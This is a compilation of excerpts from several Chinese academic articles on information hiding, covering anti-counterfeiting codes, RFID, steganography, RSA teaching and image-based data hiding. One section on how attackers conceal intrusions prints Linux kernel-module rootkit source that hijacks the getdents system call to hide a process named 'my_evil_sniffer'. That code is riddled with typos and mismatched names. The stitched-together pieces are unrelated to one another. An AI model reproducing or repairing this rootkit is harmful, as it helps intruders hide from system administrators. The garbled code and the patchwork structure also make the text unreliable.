然而，二维码不能隐含于文字、商标、图案等之中，必须独立地印刷在包装的某一部分上，不易于暗号化，置放在明处容易被造假者仿冒，防伪安全性差，而且二维码的编解码是公开的算法，因此二维码的防伪和防复制是需要解决的问题。二维码最大可以存储1000个左右的汉字，存储空间相对较大，因此我们可以采用信息加密的方式解决防伪和防复制的问题，加密后的二维码必须通过相应的解密算法才能读取到相应的信息，否则读取到的将是一堆乱码，从而无法使用。防伪二维码的出现为食品的追溯和防伪辨识提供了一种更加简单便捷、准确详实的方法，加大了造假者的造假成本，使其无利可图。
4. 网屏编码防伪技术
网屏编码防伪技术是天津阿波罗信息技术有限公司总裁顾泽苍在国家有关部委的直接支持下，经过长期的开发研制出来的具有自主知识产权的国际领先水平的编码新技术。最初，网屏编码是针对一维码和二维码的不足研制的，实际其应用领域远远超过了一维码和二维码的应用。网屏编码技术就是将传统的由有限的数字组成的肉眼可见的二维条码，转换为无限容量且隐形的网屏编码，通过改变图形网点的不同位置、不同方向、不同形状等方式排列组合，满屏编码覆盖在包装的最底层，从而达到不可复制、难以破译的效果，如图3所示。网屏编码防伪技术隐藏到包装印刷图像中的信息，即使专业人员使用高精度设备也不容易识别出在什么地方埋有信息，更不易破解出信息的内容。
网屏编码防伪技术是一种可在使用印刷机印刷文字或图像的同时，大量埋入不同文字或图像的编码新技术。它实现了真正意义上的数字化纸张，在A4纸上最多可植入6万个以上的汉字，存储60KB以上的声音、图像、视频以及Word、Excel等任意格式的文件。此外，在纸介质上即使埋入彩色图像，其画质也不会受到影响。它超强的抗攻击能力更是令人刮目相看，即使纸张污染、破损仍然可以正确识读出隐藏的信息。网屏编码技术的信息植入是通过计算机方式处理的，一次成型为印刷品菲林或是CTP版，采用普通油墨正常印刷即可，印刷时无需二次印刷，在整个工艺流程中无需增加任何工艺成本，用Speakun识别器读取信息就可以发出声音。
5.RFID技术
RFID是英文“Radio Frequency Identification”的缩写，即无线射频识别技术，是一种非接触式的自动识别技术，它通过射频信号自动识别目标对象并获取相关数据，识别工作无须人工干预，可工作于各种恶劣环境中。RFID电子标签除了目前成本相对较高，它具有体积小、容量大、寿命长、穿透力强、可重复使用、支持快速读写、可定位和长期跟踪管理等特点，在食品安全质量管理方面有着极大的应用潜力。
使用RFID读写器将食品的追溯码存储到电子标签芯片中，可以无线读取，多次写入和修改。芯片里的数据除了采用密码保护外，还可用一些加密算法和认证过程来实现安全管理，造假者很难破解和仿造出一模一样的电子标签。而且使用RFID技术可以一次同时读取多个标签，加快食品的流通速度，提高食品供应链的效率。但是由于目前缺少国家标准，仅有一些行业标准，不同企业使用的频率、编码及数据内容等都可能会存在差异，读写器和标签难以完全通用，不同企业之间的数据交换和协调受到了限制。
篇（6）
中图分类号：TP393文献标识码：A文章编号：1009-3044(2007)04-10961-03
1 引言
攻击活动是一系列连续操作，若攻击时一不小心露出马脚，所有前面的攻击就会付诸东流，甚至会“引火烧身”。基于这样的认识，精明的网络攻击者特别注意隐藏攻击活动。
隐藏技术在计算机系统安全中应用十分广泛，尤其是在网络攻击中，当攻击者成功侵入一个系统后，有效隐藏攻击者的文件、进程及其加载的模块变得尤为重要。本文将讨论网络攻击活动中文件、进程、网络连接及通道的高级隐藏技术，这些技术有的已经被广泛应用到各种后门或安全检测程序之中，而有一些则刚刚起步，仍然处在讨论阶段，应用很少。
2 进程活动隐藏技术
攻击者在目标系统进行攻击活动时，产生攻击进程，如果不将这些攻击进程隐藏在系统中，就会被网络安全管理人员发现。例如，攻击者注册到某台Linux主机时，系统管理人员使用ps-ef | grep in.telnetd命令就可以察觉。攻击者可以通过修改系统的进程管理模块，替换进程管理核心模块，控制进程的显示，主要是netstat、ps等命令。下面给出Linux系统下隐藏进程源程序的例子：
extern void* sys_call_table[];
/*隐藏进程名称*/
char mtroj[]="my_evil_sniffer";
int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);
/*convert a string to number*/
int myatoi(char *str)
{ int res=0;
int mul=1;
char *ptr;
for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {
if(*ptr'9')
return(-1);
res+=(*ptr-'0') *mul;
mul*=10;}
return (res);}
/*从task structure中获取进程号*/
struct task_struct *get_task(pid_t pid)
{ struct task_struck *p=current;
do { if (p->pid==pid)
returnp;
p=p->next_task; }
while (p!=current);
return NULL;}
/*从task structure获取进程名称*/
static inline char *task_name(struct task_struct *p,char *buf)
{ int i; char *name;
name=p->comm;
i=sizeof(p->comm);
do {unsigned char c=*name;
name++; i--;
*buf=c;
if (!c);
break;
if (c=='\\') {
buf[1]=c; buf+=2;
continue; }
if (c= ='\n') {
buf[0]='\\';
buf[1]='n'; buf+=2;
continue; }
buf++;}
while (i);
*buf=’\n’;
return buf+1;}
/*确认需要隐藏的进程*/
int invisible (pid_t pid)
{struct task_struct *task=get_task (pid);
char *buffer;
if (task) {
buffer=kmalloc (200,GFP_KERNEL);
memset (buffer,0,200);
task_name (task,buffer);
if (strstr (buffer, (char *) &mtroj)) {
kfree (buffer);
return 1; }
}return 0;}
int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)
{unsigned int tmp,n;
int t,proc=0;
struct inode *dinode;
struct dirent dirp2,dirp3;
tmp=(*orig_getdents) (fd,dirp,count);
#idef _LINUX_DCACHE_H
dinode=current->files->fd[fd]->d_inode;
#else
dinode=current->files->f_inode;
#endif
if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&
MINOR (dinode->I_dev) = =1)
proc=1;
if (tmp>0) {
dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);
memcpy_fromfs( dirp2,dirp,tmp);
dirp3=dirp2;t=tmp;
while (t>0) {
n=dirp3->d_reclen;
t-=n;
if ((proc && invisble (myatoi (dirp3->d_name)))) {
if (t!=0)
memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);
else
dirp3->d_off=1024;
tmp-=n;}
if (t!=0)
dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}
memcpy_tofs (dirp,dirp2,tmp);
kfree (dirp2);}
return tmp;
int init_module (void)/*module setup*/
{orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;return 0;}
void cleanup_module (void)/*module shutdown*/
篇（7）
互联网传输数据以及文件的过程中，很容易出现文件被攻击、数据被窃取等问题。尤其是关系到个人隐私以及国家安全的文件资料，如果被不法的黑客获取，对国家安全以及个人安全都会造成一定负面影响。为了保障电子信息安全，引入了电子信息隐藏技术，可以提升网络传输安全性，本文主要对电子信息隐藏技术的要点进行分析，并且总结了电子信息隐藏技术的应用现状。
2电子信息隐藏技术的涵义
电子信息隐藏和信息伪装，都是使用一些手段或方法把机密信息与其他信息混在一起，这样防止居心不良的人盗用信息。在实际生活中，信息隐藏技术的载体种类多种多样，例如，图片、音频、视频以及文档。所以，将机密信息隐藏在这些图片、文档中，不会轻易被黑客发现，即便被发现也没有大碍，黑客是没有办法提取其中的机密信息，这样就切实保证了机密信息的安全性。传统保护信息的方式是对信息进行加密，并且传统的加密技术在方法以及思想方面有可取之处，所以，新型信息隐藏技术并不完全摒弃传统加密技术，并且对传统进行了相应的调整以及发展。依据使用信息隐藏技术对象的不同，可以分为不同技术类型，例如，数字水印技术、替声技术、叠像技术等。其中，数字水印技术可以在网络环境下切实保护版权，将版权各项信息变成隐藏信息放入图片、音频、视频中，确定所有权以及防止侵权行为。替声技术是根据声音的内容分类，并对声音信息进行相应的处理，对原有的声音内容、原声对象等进行改变，这样可以有效将声音的真正信息隐藏起来。
3电子信息隐藏技术几大特征
电子信息隐藏技术具有非常独特且明显的优势，为人们的生产和生活活动提供了便利，其主要有以下几个特征：其一，安全性高，传统的信息一旦受到攻击，信息就会受到破坏；而隐藏信息在遭到攻击时，隐藏技术可以尽最大的能力保护信息，防止信息损坏。其二，具有隐蔽性，电子信息隐藏技术主要在传递信息时将机密信息隐藏成普通的信息，这样可以避免一些不良居心的人截获。其三，不可获得性，信息的原始载体通过信息隐藏技术将其转化成普通载体，两者之间的联系是难以发现的。就算是信息落入了不法分子手中，他们也是不能提取的，如果想要破译隐藏信息也是需要大量的时间，这可以为信息所有者解决这一盗取问题提供了充裕的时间。其四，不可见性，在使用隐藏技术时，主要是使用视听属性对信息进行隐藏，虽然信息的内容并没有变化，但是却无法正常感知。其五，不可变性。信息在传输的过程中，其载体可能会出现变化、也可能会经过不同手段处理以及人为的攻击，但是，载体中的信息并不会发生变化。其六，可恢复性，虽然信息隐藏技术可以保持信息的不变，但是这并不是绝对的不变化，其中可能有意外情况发生造成信息丢失、损坏。但是，信息隐藏技术的可恢复性能够有效解决信息载体的损坏、丢失这一问题，只要残留一些信息就可以通过一定的手段对信息进行恢复。
4电子信息隐藏技术应用现状
4.1电子信息隐藏技术在数据保密上的使用
随着互联网的发展，人们的生活方式得到了极大的改变，互联网让人们的生活更加方便，人们可以通过互联网来获得信息或传输信息。但是，由于互联网的开放性以及便捷性，不少不良分子开始利用互联网这一平台使用不法手段侵害他人的版权、截获他人的资料，使网络信息安全问题频发，同时也对信息所有者造成了极大的伤害。当前，随着经济全球化、信息全球化的发展，每一个人的生活都与互联网紧密相关，互联网也渐渐涉及到了各个方面，如政治、经济、军事以及个人隐私。这些信息一旦泄露将会造成不可估量的损失。所以，对信息进行隐藏保护是非常有必要的。信息隐藏技术让人们安全使用互联网进行交流，同时也可以对一些重要的信息进行有效保护。
4.2电子信息隐藏技术在鉴定数据完整性上的使用
比较常用的隐藏技术一般有数字水印技术、替声技术和叠像技术。针对这三种隐藏技术在生活中的使用情况进行分析可以得知，数字水印技术还是存在着一些不足之处，如果保护载体遭到篡改，隐藏其中的信息就会破坏或暴露出来，之后不法之徒就可以轻松获得隐藏信息。数字水印技术通常是在一些数字票据中使用，其可以将隐藏的水印保留在票据中，可以有效甄别数字票据的真伪。在对数据的完整性鉴定中主要有信号真伪的鉴定、信号是否完整的鉴定、信号之间的差别、信息资料是否遭到篡改或丢失等。通过对数据完整性进行鉴定能够鉴定出信号是否真实，有效减少虚假信息。在具体实践中的使用一般有以下两步：先需要通过数据库管理系统来确定数据是否完整，再输入准确的信息并储存信息。之后，根据具体的实际情况，使用较为合适的验证方式对其进行验证检查。
5结语
综上所述，信息隐藏技术的应用价值非常大以及前景广阔，作为有效的信息安全技术，这种技术还需要进行深入研究，当前的信息隐藏技术一般应用在数据保密以及鉴定数据完整性等工作上，还值得不断探究以及发展，促使信息隐藏技术在更多的领域发挥重要作用。
引用：
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篇（8）
中图分类号:G622.0文献标识码:A文章编号:1007-9599 (2010) 10-0000-01
Research of Experiment Teaching on Information Hiding Technology
Liu Fang,Lu Yinxiao
(First Aviation Institute of Air Force,Xinyang464000,China)
Abstract:The theory is abstract and difficult for students to understand.In order to enhance s a deep understanding of steganography for student,and upgrade their skills in information security and confrontation,RSA algorithm is an example for experiment teaching research in this paper.The study includes experiment teaching purposes,the basic theory,learning environment,implementation plans,the specific details and requirements and so on.
Keywords:Information hiding technology;RSA algorithm;Experiment teaching
为切实培养学生信息安全与对抗的意识,提高学生信息安全与对抗的技能,教学实验是学生实践活动中必不可少的重要环节。通过合理配置和开设系统性实验,结合专业基础和专业课程,使学生对信息安全与对抗专业知识具有更为深刻的理解和掌握。
一、信息隐藏技术实验教学目的
信息隐藏技术有多种形式,包括数据加密解密、数字水印、阀下通道等。本实验教学以数据加密解密为例,让学生充分理解和掌握信息隐藏的基本概念以及通过网络进行数据加密传输的原理。下面以RSA算法为例设计实验教学。
二、RSA算法的安全性原理
RSA算法是由R.Rivset、A.Shamir和L.Adleman三位教授于1978年在美国麻省理工学院研制出来的一种公钥密码系统。公钥密码算法使用不同的密钥进行加解密运算,通信双方各有一对密钥:公钥和私钥。在秘密通信的过程中,如果A向B发送信息,A应当用B的公钥加密信息,B在收到信息后使用自己的私钥解密信息。反之,当B向A发送信息,B应当用A的公钥加密信息,A在收到信息后使用自己的私钥解密信息。
RSA算法的安全性是建立在“大数分解和素数检测”著名数论难题的基础上,即:将两个大素数相乘在计算上很容易实现,但将该乘积分解为两个大素数因子的计算量是相当巨大的,以至于在实际计算中是不能实现的。
三、实验实施方案
(一)RSA加密解密系统实现
为了透彻理解RSA算法中加密和解密过程并设计出RSA加解密系统,本实验采用一种简单直观的方法来实现。在一些对加密要求不很严格的实际环境中,如果计算精度允许,可以采用扩充素数表来实现系统对数据的加密和解密,但同时也应该注意密钥对的选取,关键是在计算过程中一定使明文分组M小于模n。根据上述分析可总结出实现本系统的步骤如下:
1.建立等长的素数表,并将素数赋值给数组a[i]和a[j];
2.求两两乘积并将其打印出来,即得a[i]×a[j]=a[i][j];
3.从素数乘积表中随机选取一个公共模n、公钥pk并将其公开,同时也随机生成私钥sk;
4.利用随机生成的公钥pk对明文信息加密为C;
5.利用私钥sk解密得明文M。
在高级语言中,把文件可看做独立字符(字节)组成的序列,即是由一个一个字符(字节)按顺序组成,根据数据的组织形式可分为ASCII文件和二进制文件。二进制文件是把内存中的数据按其在内存中的形式输出到磁盘上存放。为了加快加密和解密的速度,这里采用二进制方式打开信息明文、密文及解密后的明文。定义加密函数encryption(char*plaintext,char*ciphertext,unsigned long int pk,unsigned long int modulen),解密函数decryption(char*ciphertext,char*plaintext,unsigned long int sk,unsigned long int modulen)。在这两个函数实现过程中,用到的密钥是通过等长素数表取得,而且都调用了同一个子程序求大数幂模的函数commod(),该函数主要是对大指数求模问题进行分析。
(二)实验内容和要求
本实验注重RSA加解密系统实现,并提出具体实验内容和要求。学生能够调试通过RSA加解密软件;并利用RSA对某一数据文件进行单次加密和解密操作;设计出的系统要能够提供大素数生成功能,可以导出素数,也可以从文件中导入素数,也可以产生一个指定长度的随机大素数。另外要求学生能够提交实验报告、并现场演示和说明。
以明文“RSA算法的安全性依赖于大数分解”为例,假设存储这句话的文件在E盘,且设明文文件名为mingw.doc,以密钥对(pk,n)=(17,2773),(sk,n)=(157,2773)为例对其进行加密和解密,生成密文文件名设为miw.doc。
本文是以信息隐藏技术中典型的公钥密码算法RSA为例进行实验教学探究,期望在数据加密解密、数字水印、阀下通道等信息隐藏技术的实验教学上有进一步的实践探索。
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1 介绍
随着计算机技术和Internet的迅速发展与应用，计算机越来越应用到了人们生活的方方面面中，又由于计算机在通讯方面突出表现，使其在各种信息交换、传递的领域更是独树一帜。事有两面，在计算机进行快速信息交换的同时也带来了一定的安全性问题，对于一些高度机密的文档信息，就不能用普通的方法(如普通的U盘拷贝、发送电子邮件)进行交换和传递了。这样如何将机密文档信息在安全的情况下用现代的信息传递手段进行快速传递成为现在的一个新的研究课题。
信息隐藏技术的文档信息传输是这个课题的核心，它是将机密文档处理后隐藏到普通的BMP图片中，把隐藏有信息的图片通过计算机发送到接收方，接收方再解释出隐藏文档的方法。这种方法不同于单独发送加密文件的优点在于，不容易引起攻击者的注意。因为中间信息是类同于普通的BMP图片。这种方法的要求有两点：
隐藏信息后的彩色BMP图像与原始图像相比，在人的视觉上没有什么区别；
隐藏信息后的彩色BMP图像与原始图像相比，大小上没有多大变化；
2 BMP位图说明
BMP图像文件格式，是微软公司为其WINDOWS环境设置的标准图像格式，在Windows系统软件中包含了一系列支持BMP图像处理的API函数。随着WINDOWS操作系统在世界范围内的普及， BMP文件格式越来越多地被各种应用软件所支持。
BMP图像文件是位图文件，位图表示的是将一幅图像分割成一个个很小的栅格，每个栅格缩小为一个点称为像素，每一个像素具有自已的数值，即一幅图像是由一系列像素点构成的点阵。BMP中按第个像素数值（像素位值）的取值范围可以分为1位、4位、8位、24位图片。像素位值的大小体现了图片彩色质量的好坏，同时也决定了图片保存时占用空间的多少。①1位图片就是指黑白图片，图片中每一由黑白两种颜色组成，它是占用空间最少的位图，同时是图片质量最差的；②4位图片是16色的彩色图片，图片中每个像素位的范围为0到15，带有彩色，但彩色质量很差，占用空间小；③8位图片是256色的彩色图片，图片中每个像素位的范围为0到255，彩色质量相对好，占用空间大；④24位图片就是所说的真彩色的彩色图片，图片中每个像素位由三个字节组成，彩色质量相对好，占用空间最大；
这里讨论的主要是对24位真彩色图片的处理。
3 信息处理的原理
3.1 信息隐藏
信息隐藏就是将文档信息隐藏在真彩色BMP图片中，其流程如图1所示：
图2中，每一个点表示位图中的一个像素,每一个像素的值范围在0到16777215间。在隐藏信息时每一个像素的奇偶性作为隐藏数据的依据。如果此像素的值为偶数表示数据为0，如果此像素的值为奇数时表示数据为1，用0和1的不同排列组全表示各种数据。而这种表示方式正好与各种磁盘保存数据的方式相同（磁盘中的数据也是以0和1的方式 ：二进制方式保存的）。这样从磁盘中读取出文档的内容，使位图中各个像素的奇偶性和文档内容的奇偶性对应，就在位图中隐藏了信息这个过程叫位图像素调制。其中的对应规则复杂程度是有效防止隐藏的信息被非法解读出的难易程度的体现。对应规则越复杂越难被非法解读出来。
再对位图中每行中隐藏的数据进行位异或和CRC_32校验，可以有效的验证解读出数据的有效性和正确性。信息隐藏过程举例：BMP位图第一行前8个像素的值为：13075297, 13075297, 13075297,13074781,13404000,13206622,13272413,13206620，要隐藏的数据为01010101，ASC码值为85。将像素值的奇偶性与数据比较后要作如下的调制：
第一个像素：13075297隐藏信息0，要调整为偶数13075298；
第二个像素：13075297隐藏信息1，不变；
第三个像素：13075297隐藏信息0，要调整为偶数13075298；
第四个像素：13074781隐藏信息1，不变；
第五个像素：13404000隐藏信息0，不变；
第六个像素：13206622隐藏信息1，要调整为奇数13206623；
第七个像素：13272413隐藏信息0，要调整为偶数13272414；
第八个像素：13206620隐藏信息1，要调整为奇数13206621；
经过这样的调制，此BMP位图第一行前8个像素的奇偶性便与85转化的8位二进制数完全相同，这样，8个像素就隐藏了一个字节的信息。
综上所述，将信息隐藏入BMP位图中的步骤为：
读取文件的二进制内容；
将位图每个像素的奇偶性与二进制数据进行比较；
通过调节每个像素的奇偶性便之与文件的二进制内容一致，就将信息隐藏到BMP位图中了；
3.2 信息解读
信息解读就是从隐藏有信息的BMP位图中解读出隐藏的信息，是信息隐藏的逆过程，其流程如图三所示：
信息解读过程如下：
判断BMP位图中每个像素值的奇偶性，若为偶数，则输出“0”；若为奇数，则输出“1”；
每8个像素输出8个0和1组成的二进制数据，转换为一个字节；
经过对所有像素处理，得到一系列的二进制数据，保存成文件，就是隐藏的信息。
本次实验结果如图4、图5所示。
5 总结
(1)由于原始24位BMP图像文件隐藏信息后，其像素位数值最多变化1（因为是像素位值加“1”或减“1”），该像素位代表的颜色最多只变化了1/16777216，所以，已隐藏信息的BMP图像与未隐藏信息的BMP图像，用肉眼是看不出差别的；
(2)由于此法只修改出BMP位图中每个像素的值，而没有改变像素的数量，所有在保存图片时的大小没有改变，所有隐藏了文档信息后位图的大小没有改变；
(3)使用这种方法，隐藏的文档信息是直接读取的文件，所以对文件格式没有限制，可以是TXT文件、WORD文件等。
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中图分类号：TP391 文献标识码：A文章编号：1007-9599 (2011) 16-0000-02
Information Hiding Technology Research Based on Digital Image
Si Yingshuo,Yang Wentao,Zhang Sen
(Zhengzhou Institute of Aeronautical Industry Management,Zhengzhou450046,China)
Abstract:Security of information transmission is becoming more and more important along with the development of media digitized and network technology.In this paper,we mainly studied the information hiding technology based on digital images,and analyzed the advantages and disadvantages of spatial domain hiding algorithm and transform domain hiding algorithm.
Keywords:Digital Image;Information hiding;Spatial domain;Transform domain
一、信息隐藏的基本原理
信息隐藏技术通常使用文字、图像、声音及视频等作为载体，信息之所以能够隐藏在多媒体数据中，主要是利用了多媒体信息的时间或空间冗余性和人对信息变化的掩蔽效应。
（一）多媒体信息本身存在很大的冗余性，从信息论的角度看，未压缩的多媒体信息的编码效率是很低的，所以将某些信息嵌入到多媒体信息中进行秘密传送是完全可行的，并不会影响多媒体信息本身的传送和使用。（二）人的视觉或听觉感官系统对某些信息都有一定的掩蔽效应。在亮度有变化的边缘上，该边界“掩蔽”了边缘邻近像素的信号感觉，使人的感觉变得不灵敏、不准确，这就是视觉掩蔽效应[2]。通常人眼对灰度的分辨率只有几十个灰度级，对边缘附近的信息不敏感。利用这些特点，可以很好地将信息隐藏而不被觉察。
随着多媒体技术的迅速发展，图像成为信息表达的主要方式，数字图像大量存在，因而被研究最多的是图像中的信息隐藏，而且，图像信息隐藏所研究的方法往往经过改进可以轻易地移植到其他的载体中[1]，是研究其他载体的隐藏算法的基础。因此，对基于数字图像的信息隐藏技术的研究成为了当前信息隐藏领域的一个研究热点。
二、基于数字图像的信息隐藏基础知识
（一）数字图像的概念。随着数字技术的不断发展和应用，许多信息都可以用数字形式进行处理和存储，数字图像就是以数字形式进行存储和处理的图像。数字图像可看作是平面区域上的二元函数Z=F（x，y），（x，y）∈R。在绝大多数情况下区域R是一个矩形。对R中任意的点（x，y），则F（x，y）代表图像的信息（如灰度值，RGB分量值等）。表示图像的二元函数有其特殊性，这就是相关性。在图像被数字化之后，Z=F（x，y）则相应于一个矩阵，其元素所在的行与列对应于自变量取值，元素本身代表图像信息。（二）数字图像信息隐藏模型。图像信息隐藏通过将秘密信息做适当的预处理后，利用合理的嵌入机制将信息隐藏在可公开的图像媒体信息中，达到传递秘密信息的目的，即信息隐藏将“正在通信”的事实隐蔽起来，从而逃过拦截者的破解。信息隐藏必然会引起载体图像一定的失真，如果失真过大就会被视觉感知，因此不可见性或者说不可感知性是衡量信息隐藏技术的重要标准。
图像信息隐藏将秘密信息隐藏或变换成另一非机密性的图像文件中，使得加入秘密信息的目标图像看起来难以察觉到有变化，这种隐藏的可能性除了来自于人眼视觉的掩蔽特性外，还有一个原因就是图像数据的数据冗余。图像数据中存在很多与有用信息无关的数据，即所谓的数据冗余，如果能够有效地利用这些冗余数据嵌入信息，就能达到很好的隐藏效果，图像信息隐藏的一般模型如图1所示：
图1：图像信息隐藏的一般模型
三、基于数字图像的信息隐藏算法
根据秘密信息嵌入域的不同，图像信息隐藏算法主要分为两大类：空域信息隐藏算法和变换域信息隐藏算法，二者在数据的嵌入原理上有根本的区别[3]。基于空域的信息隐藏算法通过直接改变图像某些像素的值来嵌入信息，具有较大的容量和较好的不可见性，但是安全性不高；基于变换域的信息隐藏算法通过改变某些图像变换域的系数来嵌入信息，变换域的方法在近来以至今后，都是信息隐藏算法的主流。
（一）空域信息隐藏技术。空域隐藏技术是指将秘密信息嵌入数字图像的空间域中，即对像素灰度值进行修改以隐藏秘密信息。
1.LSB算法。最低有效位（Least Significant Bits，LSB）方法是最早提出来的最基本的空域图像信息隐藏算法，许多其它的空域算法都是从它的基本原理进行改进扩展的，使得LSB方法成为使用最为广泛的隐藏技术之一。其原理是最不重要数据的调整对载体图像的影响很小，在视觉上无法察觉。LSB算法中，载体图像的LSB平面先被置0，然后根据要嵌入的秘密数据修改为“1”或不变，直至嵌入完成。嵌入数据后，载体图像部分像素的最低一个或多个位平面的数值被秘密信息所替换。
LSB算法每个像素点可以隐藏一比特、两比特甚至三比特的信息，达到了一个较大的隐藏容量及较好的不可见性，随机间隔法选择嵌入位置提高了算法的秘密性，这些特点为信息隐藏算法的研究提供了一定的参考。但是，LSB算法鲁棒性较差，给应用带来了一定的限制。
2.Patchwork算法。另一种空域信息隐藏算法是Bender等提出的直接扩频隐藏算法Patchwork。扩频算法为图像像素添加噪声，并且不需要改变噪声的统计特征就可以在每个噪声成分中隐藏一个比特。算法步骤如下：（1）用一个密钥K初始化一个伪随机数发生器；（2）根据随机数发生器的输出，随机选取n个像素对，其灰度值表示为（ai，bi）；（3）令 ，完成信息嵌入。检测时，假设检验被用来证实秘密信息的存在。令（2.1）
如果 ，判定秘密信息存在。
Patchwork的检测方法基于如下统计假设：图像中随机选取的像素，其灰度值是独立同分布的。如果在一副图像中随机选取像素对，则统计量S的期望值为
（2.2）
对于已知位置的像素对，S≈2n。
Patchwork算法改进了LSB算法改变图像统计特性的不足，但是隐藏容量较小，容易受到各种综合攻击的影响，只能应用在某些需要嵌入少量信息的场合。为了增加算法的鲁棒性，一种改进的方法是将图像分块后，再嵌入秘密信息，算法的鲁棒性和不可见性都会增加。
总的来说，空域信息隐藏算法具有较好的不可见性和较高的隐藏容量，计算速度快，但鲁棒性较差，对于载体图像的压缩、噪声扰动等攻击的抵抗力较弱，很多研究更倾向于基于变换域的信息隐藏算法。
（二）变换域信息隐藏技术
变换域隐藏技术就是指将秘密信息嵌入数字图像的某一变换域中。比较常用的是离散傅立叶变换（DFT）、离散余弦变换（DCT）和离散小波变换（DWT）等，它们主要是通过修改载体图像某些指定的频域系数来嵌入数据。其基本思想是利用扩频通信原理来提高隐藏系统的鲁棒性。考虑到对低频区域系数的改动可能会影响到载体图像的感知效果，而高频系数又易被破坏，因此，信息隐藏技术一般选取载体图像中频区域上的系数来嵌入秘密数据，从而使之既满足不可感知性，又满足对诸如失真压缩等操作的鲁棒性。
1.基于DFT的数字图像隐藏算法。基于DFT的数字图像隐藏算法将图像分割成多个感觉频段，然后选择合适部分来嵌入秘密信息。文献[4]提出基于原始图像的傅立叶变换，将调制后的秘密信息依次加入到某些固定位置的幅值谱上，文献[5]利用傅里叶变换的可加性和图象去噪原理提出了一种基于频域的三维运动盲水印算法。傅里叶变换具有一些变换无关的完整特性。例如：空间域的平移只引起频域上的相移，而幅度不变；空间域尺度的缩放会引起频域尺度反向的缩放；空间域旋转的角度和所引起的频域的旋转的角度是一致的。这些特点可以抵御诸如旋转、尺度、平移等几何攻击。2.基于DCT的数字图像隐藏算法。基于DCT域的图像信息隐藏算法的一般步骤为，首先对载体图像分块进行二维DCT变换，然后用秘密信息对DCT系数进行调制，最后对新的系数作离散余弦反变换（IDCT），即可得到隐藏图像，完成信息隐藏过程。基于DCT的信息隐藏算法因其具有较强的鲁棒性，计算量较小，且与国际图像压缩标准（JPEG，MPEG，H.263，H，264等）相兼容（这些标准中均采用DCT变换），因而具有诸多的潜在优势，成为近年来研究最多的一种信息隐藏技术
3.基于DWT的数字图像隐藏算法。基于DWT域的图像信息隐藏算法的一般步骤为，首先对载体图像进行多级离散小波变换，得到不同分辨率下的细节子图和逼近子图，然后用秘密信息对DWT系数进行调制，最后对嵌入秘密信息后的小波系数进行相应级别的离散小波逆变换，完成信息隐藏过程。利用小波变换把原始图像分解成多频段的图像，能适应人眼的视觉特性且使得信息的嵌入和检测可分多个层次进行，小波变换域信息隐藏方法兼具时空域和DCT变换域方法的优点。因此，基于离散小波变换的信息隐藏算法已经成为当前研究的热点和最重要的研究方向。目前，常见的几类小波变换域信息隐藏嵌入算法有：非自适应加性和乘性嵌入方式、基于量化的嵌入方式，基于自适应嵌入方式、基于多分辨率嵌入方式。此外，还有基于替换的嵌入方式，基于树结构的嵌入方式等等。
由于变换域信息隐藏技术是在频域嵌入信息，因此它有频域所固有的抗攻击和变换的能力，使这一隐藏方案对比例变化、JPEG压缩、抖动、剪辑、打印/扫描以及合谋攻击都具有很好的鲁棒性。它的优点体现在以下几点：（1）在变换域中嵌入的信号能量可以分布到空间域的所有像素上，有利于保证秘密信息的不可见性；（2）在变换域中，人类视觉系统的某些特性（如频率掩蔽效应）可以更方便的结合到秘密信息编码过程中，提高算法的鲁棒性；（3）交换域方法与大多数国际数据压缩标准兼容，从而可以直接实现压缩域内的隐藏算法，提高效率，同时，也能抵抗相应的有损压缩。
四、结束语
信息隐藏在信息安全、电子商务、军事、医疗系统、国家情报等方面有着非常重要的意义，正是由于它广泛的应用和重要的地位，使信息隐藏的研究成为科学研究的热点之一。
基于图像的信息隐藏技术具有载体数字图像的一些自身特点，同时具备信息隐藏技术的共性，以图像为载体的信息隐藏技术是信息隐藏研究的一个重要分支。本文主要介绍以数字图像为载体的信息隐藏技术，主要以信息隐藏算法的一般流程为依据，阐述了信息隐藏的基本概念，归纳了信息隐藏的一般模型、基本方法，并分析、总结了该领域的常见经典算法，为下一步的深入研究奠定了坚实的基础。
参考文献：
[1]徐献灵.基于数字图像的信息隐藏技术及其应用[D].中山大学硕士毕业论文,2007
[2]黄爱民,安向京,骆力.数字图像处理与分析基础[M].北京:中国水利水电出版社,2005
[3]王丽娜,张焕国,叶登攀.信息隐藏技术与应用(第二版)[M].武昌:武汉大学出版社,2009
